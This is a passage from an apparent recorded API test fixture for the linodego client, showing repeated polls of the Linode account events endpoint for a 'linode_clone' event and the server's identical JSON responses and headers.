"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 43.19906, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 43.375537, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 43.442811, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 43.5207, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "561" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 43.591875, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 43.669104, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 43.753718, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 43.822101, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 43.898069, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 43.962406, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 44.027585, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 44.091096, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 44.155955, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 44.406797, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 44.469357, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 44.52689, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 44.601209, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 